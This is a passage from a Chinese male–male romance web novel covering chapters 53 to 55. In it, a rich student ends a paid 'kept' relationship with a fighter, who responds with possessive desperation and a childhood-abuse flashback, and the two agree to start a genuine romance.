“打从一开始就建立在金钱上的感情,有几分是真的,有几分是假的?你用钱这种东西买别人的关心和照顾,心里没数吗?竟然还在这里自欺欺人?”陶大俊却没有心软,向他的方向逼近了一步,一句接着一句地厉声质问,“是,你可能是喜欢人家,那你的喜欢就这么廉价吗?你的喜欢就是砸钱让别人和你在一起吗?!” 说到最后,他甚至还高高地抬起了巴掌。 那宽大的阴影遮住了陶真的眼睛,他却完全没有任何要躲闪的意思,只安安静静地闭上了眼,等待即将落在脸上的耳光。 时间仿佛在这一刻被无限拉长。 明明已经是三月春天了,夜晚却冷得刺骨。 脸庞没有传来预料之中的疼痛,陶大俊最后还是没能狠得下心来打这一巴掌,很慢很慢地放下了手,有些疲惫地转过身: “……人啊,做错事情是很正常的。你长大了,爸爸相信你有明辨是非的能力,知道什么是对的,什么是错的。爸爸只是不希望你误入歧途。” 陶真睁开了眼,茫然地望着仿佛一夕之间老了两三岁的陶大俊。 “这件事我暂时不会告诉你妈,但我希望你能在这几天里,尽快把这段关系处理好,否则我也不会替你再瞒着,”陶大俊深吸了一口气,拿过自己的公文包和行李,“在你没有处理好之前,我会暂时将你的卡停掉,包括副卡和银行卡,只给你的支付宝里留两千块钱的基本生活费。” “陶真,不要做伤害人家的事情。” “……” 电梯早就到了最底层,陶大俊打开了门,没有再让陶真送,只一个人提着东西默默地消失在了黑夜里。 他的身影在陶真的心里一直都是极为高大的,可此刻看去,却有几分佝偻。陶真的心猝不及防地抽痛了一下,眼泪刹那间流了出来。 电梯的门打开,又合上。狭小的空间内只剩下他一个人,可他却没有力气将再去摁电梯的按钮,只是慢慢地顺着电梯壁滑坐了下去,抱住了自己的膝盖。 寒冷浸透了骨髓。 比身体更冷的,是心脏。 陶大俊和顾行舟两人曾说过的话在脑海中盘旋,一字一句,难听到心里一阵阵地感到刺痛,可却又让他无比清醒。 是了,他凭什么以为祝闻声就非他不可、他和祝闻声已经从包养发展成了真爱呢?是他强行将祝闻声这个直男逼成了现在的模样、自以为是地对他好,可从来没想过祝闻声到底需不需要,是不是患上了“斯德哥尔摩综合症”…… 如果早一些意识到这一点就好了。 如果当时他选择的是追求而不是包养,现在是不是一切都会变得不一样? 陶真猛然攥紧了胸口,一股巨大的憋闷炸开,连电梯渐渐上升都未曾发觉,只有点艰难短促地喘息着。 等电梯门打开,一道人影出现在身前,阴影遮蔽了视线,他还以为自己在做梦,有些茫然地抬起了眼。 “……阿声?” 三月的春夜冰凉,金发少年蜷缩在电梯的角落里,呆呆地抱着膝盖,苍白的小脸上挂着泪痕,通红的双眸有些无神,喃喃自语般喊着自己的名字。 祝闻声的呼吸一滞,几乎立刻弯下腰,将人横抱起来,压抑着道:“嗯,刚刚跟叔叔说什么了?怎么哭了?” “……不是什么大事,”陶真后知后觉地反应过来,胡乱地擦了一把脸,声音略微有些哽咽,却扯出了一个笑容,“爸爸只是跟我说,公司里出了点小问题……” 他故作轻松地说:“可能……可能我之后要没什么钱了。” 祝闻声的动作微微顿住,脑海中闪过陶大俊那欲言又止的神色、紧紧攥在掌心的手机,以及此刻陶真细微的哭腔,心中的那抹难以言说的不安和警惕到底还是消散了下去。 他抱着陶真开门,半跪在地上,将人放在沙发上脱了鞋,把那冷到跟冰块一样的脚尖塞到了自己毛衣的下摆里暖。 “这点小问题很快就会解决的,不要担心,”祝闻声的语气相当笃定,莫名令人安心,“没有钱也没关系,我养你好不好?” “……” 陶真猝不及防地鼻酸了。 哪里有被包养的人反过来养金主的,祝闻声怎么这么傻啊。 如果真的结束了这段关系,他以后,怎么才能继续跟祝闻声在一起呢? 陶真心里有点难过,却又不想表现出自己狼狈的一面,仓促地蹭了下眼睛,又满不在乎地抹了一把鼻子,佯装无事道:“哈哈哈哈,跟你开玩笑的,还真相信啦?” “真的没什么事,只是我爸跟我谈了会心,聊到公司,又聊到我转专业的事,我一下子压力有点大,所以才这样的!” 金发少年似乎很快就调整好了状态,连语气都和以往并无二致,祝闻声认真地听他说完,才“嗯”了一声,又捏了捏他冰冷的脚心,低声问:“现在有没有好一点?去洗漱一下?” 陶真“昂”了一声,想要把自己的脚从祝闻声怀里抽出来去洗漱,可祝闻声却完全没给他这个机会,单手托住他的腿弯、让他坐在自己手臂上,以这个抱小孩儿的姿态把他抱起来,直接走向了卫生间。 他还完全没反应过来,就已经被放上了洗手台,一点点地被祝闻声伺候着用热水洗了脸,之后又被脱掉了袜子泡了一会脚。 感觉身体渐渐暖和起来,陶真本来是想挣扎着自己继续洗澡的,可一想到或许以后也再也没有这么亲近的机会了,他便又不动了,任由祝闻声动作。 很快,陶真洗完澡,换上了软绵绵的毛绒睡衣,顶着一头蓬松的金发,眼巴巴地站在浴室门口等祝闻声,情不自禁地回想起了两人第一次见面时祝闻声的模样。 那时的他,白衬衫,水洗牛仔裤,冷淡漠然,不与身侧的任何人交谈,拒绝了所有想要过去搭讪的人,宛如一朵凛然、不容侵犯的高岭之花。 可现在的高岭之花,随意地将袖子捋到了手肘处,露出精壮结实的小臂,以及蔓延至手背的淡青色脉络,刚刚打扫完浴室卫生,现在正在洗陶真的……内裤。 这以后,可是一拳就能打出百万美金的手啊。 陶真扣住自己的衣角,心里突然莫名有些堵。 在祝闻声洗完东西出来问他怎么了时,他又笑着摇了摇头,装成什么都没发生的样子,打着哈欠爬上床说自己要休息了。 祝闻声也知道他今晚的心情一定不是很好,于是并没有缠着他继续两人一开始要做的事,等他的呼吸渐渐放匀了,才替他掖好了被子,轻声说了句晚安。 月光柔和,树影摇曳。 本该已经睡着的陶真睁开毫无睡意的眼,慢吞吞地蹭了蹭被人仔仔细细掖好的被角,一夜无眠- 接下来的这几天,陶真变得格外忙碌,即使没有早八课也是早出晚归。 相比起来,一直在俱乐部和学校之间来回辗转的祝闻声反而闲了许多,甚至还抽空回了几趟Z时代,给赵钊赵烨那边打了几个电话,问了一下陶氏企业的经营状况。 出乎意料的是,那天晚上令陶大俊神色大变的“问题”,似乎并没有在企业的经营过程中体现出来,不管是赵钊还是赵烨,哪怕祝家本家的人,都拍着胸脯同他讲,陶家的企业经营没有任何的问题,让他大可放心。 大可放心…… 祝闻声的指尖在桌面敲了四下,将这个词念了一遍,却没感觉到心中放松了多少,只觉得山雨欲来风满楼。 如果公司真的没什么问题,那为什么陶真这段时间的状态这么不对劲呢? 以往总是活力满满、高兴得像是只活泼小动物的少年没了笑模样,乌溜溜的双眸下挂着青黑,总是一副忧心忡忡、欲言又止的模样。 而且最近明显没睡好、没吃好,一掂就知道少了好几斤,原本还有些软乎的大腿根都没了肉,下巴尖和手肘骨头硬得能戳人。 也许是因为陶家的经营真的出现了什么旁人无从知晓的问题,连带着陶真的资金链都出了问题,又或者是因为要搞转专业相关的事情,太忙太累…… 这些都是正当的原因,可祝闻声心中的不安感却越来越强烈,越发容易想起那天晚上近乎崩溃的江姗,仿佛看见了自己未来的模样,被一团火焰烧烫得五脏六腑都在闷痛。 “合适的时机”迟迟未到,他忍了又忍,还是决定抓紧时间尽快坦白,不管陶真是想骂他也好、打他也好,至少有了个太子爷的身份,还可以帮陶真分忧解难。 于是,周六,没课的陶真刚打算背着书包出发去图书馆,就被祝闻声叫住了。 他扭过头,就看见黑发青年往他的方向走了两步,垂下眸,一向冷峻淡然的脸上有几分柔和,低声问:“真宝,你最近这段时间……是不是很忙?” 终于还是来了。 陶真的脑海中莫名闪过了这句话,情不自禁地用手指扣住了书包带,嘴唇上下动了动,说不清心中是什么滋味。 忙当然是忙的,可是却不至于忙到这种程度。 陶大俊最近每一天都会提醒他尽快“做正确的事”,可是他又实在是舍不得,不知到底该如何面对祝闻声,所以只能努力早出晚归,像个缩头乌龟一样躲在壳子里,假装这一切都不存在,内心却饱受煎熬。 “唔…也还好。”陶真半晌才干巴巴地说。 “我知道你最近忙着转专业的事情,学习很辛苦,但是也要适当劳逸结合,”祝闻声顿了顿,语气像是在哄小朋友,“听说最近电影院新上了几部电影,我们一起去看,看完逛一逛,再去吃饭,好吗?” 看电影,逛街,吃饭。 这些事情再普通不过,是许多校园情侣之间最常见的约会,总被人吐槽又土又俗,可陶真却十分向往,只是因为之前一直没跟祝闻声对上时间、所以才没机会尝试。 今天终于能体验一下这种感觉,他相当开心。 可是……这会是他们的第一次,和最后一次约会吗? 金发少年的眼睛亮了起来,像是扒着人腿喵喵叫的小猫,可下一刻却又灰暗了下去,连肩膀都耷拉了下来,勉勉强强地提起了一个笑容:“好、好啊。” 他的情绪转变实在是太明显,祝闻声忍不住多看了两眼,抿了抿唇,不动声色地将心中焦躁的情绪压了下去。 两人出发的时间还很早,到电影院的时候周围几乎没什么人,只能看见影院门口摆放了许多最近上映的大片海报,从悬疑片,科幻片到爱情片,简直应有尽有, 由于不确定陶真到底想看什么,所以祝闻声没擅自买好电影票,这会才问他对哪个更感兴趣。陶真在几部里犹豫了一下,最终还是依据本心选择了最后的那部爱情片。 祝闻声心中一动,眉心也一松,打开软件准备买票。然而陶真的速度比他更快一步,“叮咚”一声,已然支付成功。 见祝闻声似乎有些无奈地低头望过来,陶真才冲他笑了一下,若无其事地将仅剩一千多的余额页面藏在了身后:“怎么啦?我看时间差不多了,我们赶快进去吧。” 买都买了,总不能再退。反正晚上的餐厅已经被祝闻声包了下来,那个肯定不用陶真花钱。 他点点头,牵起陶真的手:“好。” 检完票,进入影厅内部,偌大的场馆里只有寥寥无几的几个人,都离得很远,只有两个人挨着他们的倒数第二排。很快,四周暗下来,荧幕上缓缓浮现了女主角清纯的脸庞。她满脸泪痕地倚在江边,把手机狠狠地扔到了水面,溅出了影片名——《再见》。 那两个收到朋友赠票才来的人看见这一幕时就忍不住吐槽了起来,声音并不算大,但因角度问题,不偏不倚地传入了陶真的耳中。 “都什么年头了,怎么还在流行这种青春疼痛片啊,讲的什么剧情啊?” “我刚刚搜了,特别离谱,天真小公主喜欢上落魄校草,每天用自己的生活费接济校草,两个人慢慢在一起了,但每天都有很多人骂校草是凤凰男,陷害校草……” 刚好荧幕上放到了一群人路过校草,对他窃笑不已、指指点点的画面,陶真有一瞬的恍惚,情不自禁地扭过头,看向了一侧的祝闻声。 跃动的冷光映照着青年的侧脸,勾勒出冷峻锋利的五官,比电影里的“校草”还要英俊,一时间令人挪不开眼。 尽管校草已经十分优秀了,落魄也不是他的过错,可所有人都看不见他的努力和光环,只将骂点集中在他被小公主接济的这个“污点”上。 祝闻声注意到了他的目光,也扭过头来,两人的视线在空中交汇。 祝闻声低声问:“怎么了?” 陶真没说话,过了几秒才抿起唇笑了一下:“……没怎么。” 他若无其事地转过脸,一脸认真地盯着荧幕。 一侧的祝闻声却没有挪开视线,恰好,两个女孩的声音渐渐地传入了他的耳内。 “……那群欺负落魄校草的人没想到,校草其实有着隐藏身份,借机狠狠地报复了他们。然而,这一幕也被小公主看见了,她得知了事情的前因后果,再加上校草这段时间的隐瞒和欺骗,愤怒地跟校草说了再见……” 祝闻声微微一怔,也情不自禁地转过头,望向大荧幕。 …… 两个小时很快就过去,前排两个人觉得这破电影纯属是在无病呻吟,压低声音吐槽了一整场,满脸无语地走了。 陶真和祝闻声两人出来时却相当默契地没说话,过了片刻才出发去商场。 奇怪的是,以往一向喜欢来这种地方逛的陶真今天却一反常态地没什么兴致,祝闻声试探性地问他有没有什么喜欢的、想要的东西,可他只匆匆地扫一眼便摇摇头。 最后还是祝闻声留意到他多看了几眼的衣服,趁着他不注意的时候过去买了下来。 陶真乍然收到礼物,相当惊喜,很快却又意识到什么,匆匆将吊牌翻了出来看了一眼,小脸鼓成一个包:“……你怎么买这么多?买这么贵的呀?” 祝闻声微微捏紧了指尖,认真地说:“不贵。” 陶真仍然还有些心痛,祝闻声盯着他看了片刻,干脆直接带着他去了餐厅。 这家餐厅位于南城市中心地标建筑的顶楼,每一位前来用餐的客人餐标都要四到五位数,而且还要提前小半年的时间才能预约得上,即使这样,他们家依然门庭若市。 陶真也知道这个地方,但从来没有来过,这会缓缓地踏进去,一瞬间,竟然感觉一阵退缩。 身上的钱恐怕连付账都不够,这种捉襟见肘的滋味实在难受。 说起来,祝闻声怎么会订这种餐厅? 他忍不住扭头:“阿声,你确定……?” 祝闻声幽深的黑眸倒映着室内的暖光:“嗯,就是这里。” 如他所言,一侧的老板亲自过来,接走了他手里的东西,将他们请入窗边最好的位置。陶真犹豫片刻。还是将那点尴尬摁下了。 蓝调时刻,天色澄澈瑰丽。 从透亮的落地窗可以俯瞰整座城市的夜景,也能摘星辰。一侧的地毯上撒着海浪般堆叠的花瓣,似乎一点也不怕别的客人踩坏。 桌面的装饰很简单,一只珐琅花瓶插着两支挂着露水的红玫瑰,在细碎的钻石光下显得格外娇艳欲滴。 很快,餐点便一道道地上来,佐以不同的配餐酒。跟上次那顿Omakase不同,这里的每一道菜都相当好吃。 唯一有些令人不满意的便是刀叉实在太重,并不趁手。陶真努力适应了一番,没成功,祝闻声直接让人拿了两双筷子来。 最后一道甜点上来时,两人已经饱了,不约而同地放下了筷子。 不远处钟楼敲响了八声,似乎也意味着今天的结束。 春天,夜幕温柔。 压抑了一整天,埋藏了一整天,遮掩了一整天,两人几乎同时开口。 “我……” “我……” 是时候了。 一整天下来,陶真应该已经发现了。 他会有什么样的反应呢。 祝闻声有些忐忑地动了动指尖,幽沉的黑眸专注地凝视着面前的金发少年,低声道:“你先说。” 陶真深吸了一口气,抬起头,细细地注视着祝闻声,仿佛要将他的容颜深深地刻进脑海里:“好,那就由我先说。” “阿……祝闻声。” “你是一个非常优秀的人,天赋异禀,努力,细心,你一定会实现梦想,前途无量。和你在一起的时候,我真的很开心,也真的很抱歉,耽误了你这么长时间。” “但现在,是时候让一切都回到原位了。” 陶真闭了闭眼,没有发现祝闻声的表情正在一寸寸地龟裂,只郑重地说: “祝闻声,我们分手吧。” 54 ? 第 54 章 ◎重新……谈一场真正的恋爱,好不好?◎ ——祝闻声, 我们分手吧。 轻飘飘的几个字,却重若千钧。仿佛一记惊雷在耳边炸响,扇得祝闻声半张侧脸都在火辣辣地发疼, 脑袋里嗡嗡的,有些怀疑是不是自己听错了。 明明陶真的声音还一如既往的清朗, 语气也依然很轻柔,好像下一刻就会甜滋滋地缠着他撒娇,做出得意的小表情说“跟你开玩笑的、还真相信啦”…… 可陶真没有。 一秒。 两秒。 三秒。 足够改口的时间已经过去, 金发少年只是挺直脊背坐在原地,目视着前方, 双手死死地扣着衣角,骨节青白,仿佛下定了决心。 四周陷入了一片死寂,头顶的灯光不知为何“滋”地一声暗了下来。坐在他对面的祝闻声几乎整张脸都隐没在黑暗中, 令人看不清神色, 唯有绷紧衬衫的胸膛上下起伏, 带着难以言喻的危险意味。 就在陶真怀疑他到底是否听清自己刚刚说了什么的时候,他哑声开口, 语气是出乎意料的平静: “真宝,是甜品不合胃口吗, 我让他们给你换一块,好不好?” 陶真一怔,不明白祝闻声为什么会突然将话题岔到了这上面来。可他是酝酿了一整个晚上、好不容易才鼓起勇气说开口,这会儿不免有些着急:“不是,跟甜品没什么关系——” “嗯, ”祝闻声搭在桌沿的小臂青筋已然暴起, 极力克制后的音调依然有些令人头皮发麻, “那就是在开玩笑了?这是网上新火的测试吗,我好像没有刷到过……” “祝闻声,我没有在开玩笑!我是说真的,我们分手吧!” “……” 陶真似乎终于忍无可忍,有些焦急地大声打断了他: “从一开始,我们两个人的相遇就是错误的。我到酒吧去,鬼迷心窍地想要包养你,这本身就是对你的侮辱。尽管你没有在意这一点,可你要知道,人的性取向不是可以后天改变的,都是天生就注定好的,你现在跟我在一起,只不过是一时糊涂,以后一定会后悔的。” 说出第一句之后,接下来的话似乎也没那么困难。这些天来,朋友说的话,父亲的失望叹息,电影中落魄校草的处境……这些内容在陶真的脑海中犹如走马灯一样播放,也令他的语速越来越快: “而且,现在的你已经成为了VCC冠军,很快就要签约UFC,前途一片光明,跟我在一起反而成了你的污点。况且我现在也帮不上你什么忙了,我什么都没有,也不能再给你什么——” 少年的一句接着一句的反驳,宛如最后的宣判,彻底地终结了祝闻声心中那一点仅存的侥幸。 他用力地闭了闭眼,感觉自己的大脑被人硬生生地撬开,用一把利刃进去疯狂地翻搅,只要一低头就能将鲜血和脑浆一起呕吐出来。 陶真是真的要跟他分手。 陶真是真的,不要他了。 身体哆嗦着发抖,手脚冰凉,以控制闻名的选手S仿佛在这一刻失去了自己引以为傲的技能,只猛地起身,双眼猩红地攥住了陶真的手腕,一字一顿道:“我、不、要、跟、你、分、手。” “是因为来找我的人是你,我才会同意包养协议。从一开始我就没有糊涂过,我很清楚自己在做什么,我绝不会后悔,你也绝不是我的污点。” “我不是为了你的钱才和你在一起的,不需要你再多给我什么身外之物。如果你是因为没有钱、没有办法继续包养我所以才提分手,那么大可不必。” 祝闻声的语气极度冰冷,仿佛已经濒临某种失控的边缘:“你想要多少钱,无论多少,我全部都给你。” 世界又陷入了诡异的寂静。 手腕处的触感滚烫,带来了一阵近乎酸麻的疼痛,和方才听见的一字一句一样热切。陶真的心脏跳得飞快,脑海中的思绪有些混乱,不可避免,必须承认,在听见祝闻声这些话时,他心中竟然涌起了一股难以言喻的窃喜,可是紧随其后的便是更加猛烈的羞愧,脑海里闪过了陶大俊冷淡的话语。 心中的两种情绪来回拉扯摇摆,在祝闻声那几乎急切等待的目光中,陶真狠下心来闭了闭眼,有些干巴巴地开口道:“……不用了。” 他忍着心口那股莫名的酸涩微麻,甚至还努力挤出了一个略微有些尴尬的笑容,小声地补充道:“有那些钱,你留着自己花,不是更好嘛,干嘛要给我啊?你已经不需要我了,我们就更加没有必要保持这样的关系啦。” “……” 头顶的灯光“啪”地一下重新亮了起来,照得陶真有些不适地眯起了眸。 他的杏眼一如既往的水润,白皙的脸蛋天真漂亮,与初见那天一样。 祝闻声居高临下地望着他,不合时宜地想起,刚刚的这段时间是餐厅的传统Kiss time,室内的灯光全部暗下来后,室外的夜景和缀着星子的夜幕就会格外璀璨,爱人们会情不自禁地在这样的环境里亲吻……他一开始,便是打算在这时候坦白的。 可是,可是。祝闻声几乎有些想笑,在这样浪漫的春夜里,他还什么都没来得及说,便已经收到了死刑的宣判。 “真宝,”不知到底过了多久,祝闻声松开了握着陶真的手,慢条斯理地说,“你觉得腻了。” “……”陶真一懵,一时间没明白“腻了”是什么意思,可他直觉有些不对,只下意识地反驳,“不是,我……” “是因为我已经不可怜了吗?” 青年随手将垂在额前的黑发捋到脑后,没了遮挡,他的双眸被英挺的眉压得格外冷峻而阴郁。 他抬起手,随意地拿起了桌边没怎么动过的配餐酒,平静地倒了一杯,修长的十指因为过度用力泛起了病态的苍白,怒极反笑般轻轻开口: “所以,你也要扔了我,换一个听话的、懂事的,新人。” “……” 迟钝如陶真也终于在这一刻发现了不对劲,面对强大的捕食者,人类会有一种刻在基因里的恐惧。可这种恐惧,是他以前从来没有在祝闻声身上体会过的。 一开始的祝闻声平静漠然,好像对什么都不在意,后来的祝闻声温和体贴,总是默默地替他做好一切的事情。可现在的祝闻声——阴郁,冷淡,疯狂,好像丛林里窥伺已久的野兽,下一秒就会过来将他吞吃殆尽。 这也许才是祝闻声一开始的样子。 陶真莫名咽了下口水,思绪有些混乱:“我不是要扔了你……不,我确实要跟你分手。” “但是……我不可能再‘换人’了啊,包.养这种行为是不对的……祝闻声,我们俩都冷静一点……” 祝闻声幽深的黑眸牢牢地落在他身上,低声打断道:“不,我没有办法冷静一点。” 他仰起头,一口口地将那一杯澄澈透明的酒液灌进了喉,溢出的水珠顺着下颌,沿着滚动的喉结一路往下,浸湿了衣领,露出衬衣下肉色的皮肤。 明明是个很性感的场面,陶真却呆若木鸡般地愣在原地,片刻后才意识到这些配餐酒的度数,像被摁到发条的小木偶一样跳了起来:“祝闻声,你快别喝了,你不能——” 晶莹剔透的香槟杯“砰”地一下落地,溅起无数片纷飞颓靡的玫瑰花瓣。 灼热的酒液似乎要将全身都燃烧起来,压抑的情绪再也没法掩藏,祝闻声深吸了一口气,目光沉沉地望着陶真,一字一顿:“真宝。” “你为什么不喊我阿声了?” “……” 陶真说不出个所以然来,他整个人都是懵的,脑袋里嗡嗡作响,不想喊阿声自然是觉得他们现在要分开了,他没有权利跟之前那样亲密暧昧,这只是一个再小不过的点,可祝闻声似乎很在意。 他的心脏突地一跳,有种酸涩的感觉涌上了心头,就连被祝闻声一块拉着带下楼也没反抗,只盯着自己的脚尖,舔了舔唇,不知道该如何开口。 正在忐忑之际,祝闻声一切如常地掏出手机,吐字清晰地打了个电话。不多时,一辆通体纯黑的迈巴赫就在他们面前停下了。 迈巴赫。 就是好早之前,祝闻声来社团聚会接他时,所乘坐的那一辆。 陶真来不及多想这车到底是从哪儿来的,就被青年拉着一块上去了。 他本来还想跟司机说一下他和祝闻声同居的地址,可是沉默寡言的司机根本没问他,一接到人,便直接启动车辆,自顾自地朝着某个方向驶去。 南城市中心的夜景繁华,车窗外的景色被定格成斑斓的一帧帧,渐渐地变成了陌生的景象,最终,竟然定格在一片位于半山腰的私人庄园。 哪怕是来了南城这么久,陶真都对这块地方一无所知。可这辆迈巴赫通行无阻地越过道闸,将他们送达目的地之后,司机便默不作声地离开了,像影子一样消失得无影无踪。 一路上的气氛都有些诡异和尴尬,因为前排坐着司机,每每陶真想要开口时又将话咽了下去,直到这会他才看了看四周,有些犹豫地说:“这里是……?” 问完他才意识到不对,祝闻声喝了酒,根据上次的经验来看,现在基本上只会变成一个重复他话的复读机,没法回答问题。 可是这一次祝闻声的反应却和上次截然不同,冷峻的黑发青年侧过眸来看了他一眼,没有回答他的话,只一言不发地握紧了他的手,将他往庄园内带去。 厚实的门发出“砰”的一声巨响,被牢牢地关上,内饰是温馨的复古风情,恰好是陶真最喜欢的格调,可他还没来得及仔细欣赏一下,就突然发现,这偌大的庄园里,此时此刻只有他和祝闻声两人。 这儿不像是常年没有人居住打扫的样子,因为屋内各处相当干净,就连窗棂的浮雕都没有落灰。可奇怪的是,这里又格外安静,好像连一个佣人都没有…… 不,或许不是没有,而是刚刚被遣散了。 理智告诉陶真,此刻的祝闻声有些危险,可感性却让他伸手牵住了祝闻声的衣角,下意识地选择靠近了此刻最信任的人。 祝闻声似乎被他的这个举动取悦了,冰冷的神色有一瞬间的融化,垂下眸,盯着陶真那只纤细修长的小手看了几秒,用自己的大掌覆盖了上去,强迫少年分开五指与他紧紧相扣。 只有这样,他空洞到溃烂的心脏好像才终于被丝丝缕缕的甜蜜织补了起来。 “这里是我的房子。” 片刻后,祝闻声轻声开口,回答了陶真一开始问的那个问题。不过,他用于形容这里的措辞只是房子,而不是“家”。 “你喜欢这里吗?” 陶真一瞬间陷入了凌乱和懵逼。 他知道现在的祝闻声肯定不像他想象当中的那么穷,毕竟冠军的身份地位和之前不一样了,所以今天去商场、去市中心的顶层餐厅……他都可以理解。 可是,这栋庄园? 即使是他爸陶大俊都不一定能买得起这一整座私人庄园,祝闻声就算现在再有钱,又怎么可能一下子买得起这么贵的地方呢? 这跟他以前住的俱乐部宿舍简直就是一个天上一个地下,比起相信这里就是祝闻声的房子,陶真更愿意相信这其实是那位迈巴赫朋友的居所。 陶真不想伤害到祝闻声的自尊心,最终还是选择委婉道:“不是喜不喜欢的问题……这里应该挺贵的吧,你什么时候买的?咱们最好还是不要超前消费,毕竟现在……” 祝闻声只是垂眸安静地望着他,重复了一遍刚刚的问题:“你喜欢吗?” “……”陶真看了一眼四周,最终还是实话实说,“喜欢。” “嗯,”祝闻声似乎就在等待这样的答案,他平静地开口,“它是你的了。” 陶真瞪大了眼睛。 祝闻声却仿佛完全没有意识到他的震惊,继续自言自语道:“以后你就住在这里,一直,永远,跟我住在这里,好不好?” 陶真彻底懵了。 他感觉祝闻声喝醉了,想要去厨房找点水来让他清醒一些,可是才呆呆地往后退了一步,下一刻就被人用力地带住了腰。身体在一瞬间失去了平衡,整个人跌进了一侧的沙发上,眼前一片天旋地转。 陶真只能感觉自己的下巴被一双粗粝的大手扣住,一道身影俯身亲了下来。青年身上的跌打损伤膏味铺天盖地地涌了过来,混杂着浅淡的酒香,浓烈醉人。 唇瓣上的热度蔓延,齿关被人强硬地撬开,滚烫的舌扫过上颚,攻城掠地地侵.略进来,一寸寸地汲取走了他肺里的所有空气。这是个强烈又热烈的湿吻,到最后,陶真几乎感觉不到自己舌头的存在,上颚和下颌也是酸麻的,嘴唇似乎被人咬破了皮,火辣辣地烧着疼。 不知过了多久,这个吻才终于结束,二人唇瓣间竟然扯着一缕晶莹暧昧的银丝。 祝闻声垂下眸,黑眸沉而冷。 他不知道自己到底该如何形容听见陶真说分手那一刹那的心情,只觉得从那之后,灵魂就已经抽离了身体,只剩下本能掌管行动。 心脏是空洞的,无论如何也填不满,只有在握住陶真的手、感受着他的呼吸时才有所好转。可只要一松开,更加强烈的反噬情绪就会涌上来。 这种抛弃,又一次被抛弃的感觉,令他想起了从前。 一个人被反锁在空荡的房子里,没有东西吃,饿了整整两天,终于等到大门响起的声音,睁开眼,就看见面目狰狞、酒气熏天的父亲骂他是“小杂种”,抽出皮带,一下又一下地打了下来。 这也许就是他学习格斗的启蒙。因为被抽打的感觉很痛,被人像皮球一样拎起来又砸到地上也很疼,没有力量,就只能蜷缩在地上,像狗一样夹紧尾巴,护住自己的头,祈求有人能来救救自己。 终于,母亲看见了他孤零零地躺在地上,发出了一声绝望崩溃的尖叫,疯了似的带着他去和父亲做了亲子鉴定,又把他上身的衣服扒光,给所有长辈们看。 他一直很乖地配合着,他以为,这一切结束以后,至少会有母亲带他走。 可是他等啊等,等到最后,父亲离开了,母亲也离开了。长辈们为了谁对谁错争吵得脸红脖子粗,到头来,也没有一个人问他: 祝闻声,你的伤口,还痛不痛? 他本来以为这辈子都不会再听见这句话了,也不敢再抱有期待,可是十几年过去,他遇见了陶真。 金发少年抱着他早就愈合的伤口,满眼心疼地吹了又吹。 他清楚地意识到,陶真来爱他了。 陶真来救他了。 可是现在,陶真也跟他生命中的所有人一样,不要他了。 沙发上的少年终于回过神来,泪眼迷蒙地想坐起身,似乎又想离开这里。 祝闻声干脆俯下.身,将他抱得更紧了一些,慢条斯理地伸手,拭去他唇边晶亮的水渍,有点神经质地冷笑了一声:“腻了,嫌弃我,觉得我已经不可怜了,准备去外面包.养别的男人。” “他们会有我听话吗。” “他们会每天给你洗脚洗内衣吗。” “他们会有我伺候的好吗,愿意像我一样给你当狗吗?” 陶真彻底放弃去厨房倒水了,大脑几乎已经停止了运转,只呆呆地听着祝闻声一句接着一句,根本来不及反驳:“不是,我……” “要跟我分手吗?” 祝闻声居高临下,黑沉沉的眸死死地盯着他,一字一句地说,“不可能的,陶真。不可能。” 偌大的房内寂静无声。 陶真张了张唇。 耳畔回荡着青年斩钉截铁般的一字一句,语气压抑到疯狂,心中突然涌现了一抹难以言喻的情绪,非要形容的话,或许类似于安心,窃喜。 所有人都觉得,既然是包养,自然不会有感情;所有人都觉得只要他没有钱了,就可以轻轻松松地打发走祝闻声……可事情,并不是这样。 陶真深吸了一口气,忽然道:“……祝闻声。” 被喊到名字的青年微微一顿,过了几秒才缓缓地“嗯”了一声,缓缓地低下了头。 祝闻声浓黑的双眸有些失焦,脑海中漫无目的地猜测着等下陶真的反应。 会生气吗? 会生气吧。 他今天本来是打算向陶真坦白的,可怎么没想到陶真竟然会先同他说分手,理智一下子不受控制,将事情闹成了现在这个模样。不过已经无所谓了,即使他坦白了,得到的结果也是这样……不,或许会更糟糕一些,因为陶真最讨厌别人骗他。 陶真就跟电影里的小公主一样,原本笑眯眯地从自己的生活费里掏钱出来接济落魄校草,在发现校草的真实身份、发现他欺骗自己后,就决绝地消失在他的面前。两人想要再见,就要好几年…… “阿声。” 祝闻声的思绪骤然停住,猛然抬起了眼。 金发少年不知下了什么决心,抿起唇,甜甜地笑了一下,小声说:“……要不要,抱一下?” 祝闻声的表情有一瞬间的空白。 刚刚还大有一副要将陶真困在这里、永远也不将他放出去的样子,这会被陶真主动邀请了,他却又仿佛近乡情怯似的,怔愣在了原地,过了好半晌才缓缓抬起手。 他的声音有些艰涩:“要。” 两人就这样,一言不发,安安静静地抱在了一起。 谁也没有提刚刚的事,好像什么都没有发生。 然而片刻后,陶真还是开口了:“我想了想,还是觉得应该再认真地跟你说一下分手这件事。” 祝闻声的睫毛颤了颤,将他抱得更紧了一些。 “我之前的表述不太准确,其实,我想跟你结束的关系,是‘包养关系’,不是恋爱关系,”陶真说,“见色起意的包养太过廉价,如果你愿意的话,我们重新开始,重新……谈一场真正的恋爱,好不好?” 55 ? 第 55 章 ◎我是小祝总——祝闻声总经理的助理。◎ 真正的……恋爱? 话音落, 室内鸦雀无声,只剩下两人交缠的呼吸和一下又一下“咚咚”狂跳的心跳声。祝闻声茫然地动了动喉结,几乎不敢相信自己刚刚听见了什么, 但又不敢开口,好像只要一开口, 这一场美好的梦境就会像泡沫一样,一戳就破。 沉默持续了几秒,他忽然用余光看见陶真张了张唇, 似乎想要再次开口,祝闻声猛地回神, 立刻抬手将陶真牢牢抱紧:“……好。” 像是生怕陶真反悔似的,他又一叠声地说了好几次“好”。 黑发青年浑身滚烫,连拥抱都用了很大的力气,不仅小臂上的青筋凸起, 连骨节都变得极为苍白。 陶真被抱得很紧, 几乎感觉自己的肋骨都快要断了, 有些喜悦又有些无奈,连忙拍了拍他的后背, 示意他略微松开一些。 等祝闻声终于放开他,他才长长地松了口气:“阿声, 那我就再说一遍啦?我之前说想和你分手,并不是像你想象的那样,是因为对你……腻了,所以想换一个人包养,我不是那么随便的人。我想跟你分手, 只是因为觉得……包养这种行为是不对的。我、我不想耽误你的人生, 让你以后想起这段时间的时候很后悔……” “不会后悔。”祝闻声的声音有些闷闷的。 陶真显然还没有完全放下心中的担忧, 但还是因祝闻声这句斩钉截铁的回复笑了起来:“好吧。” 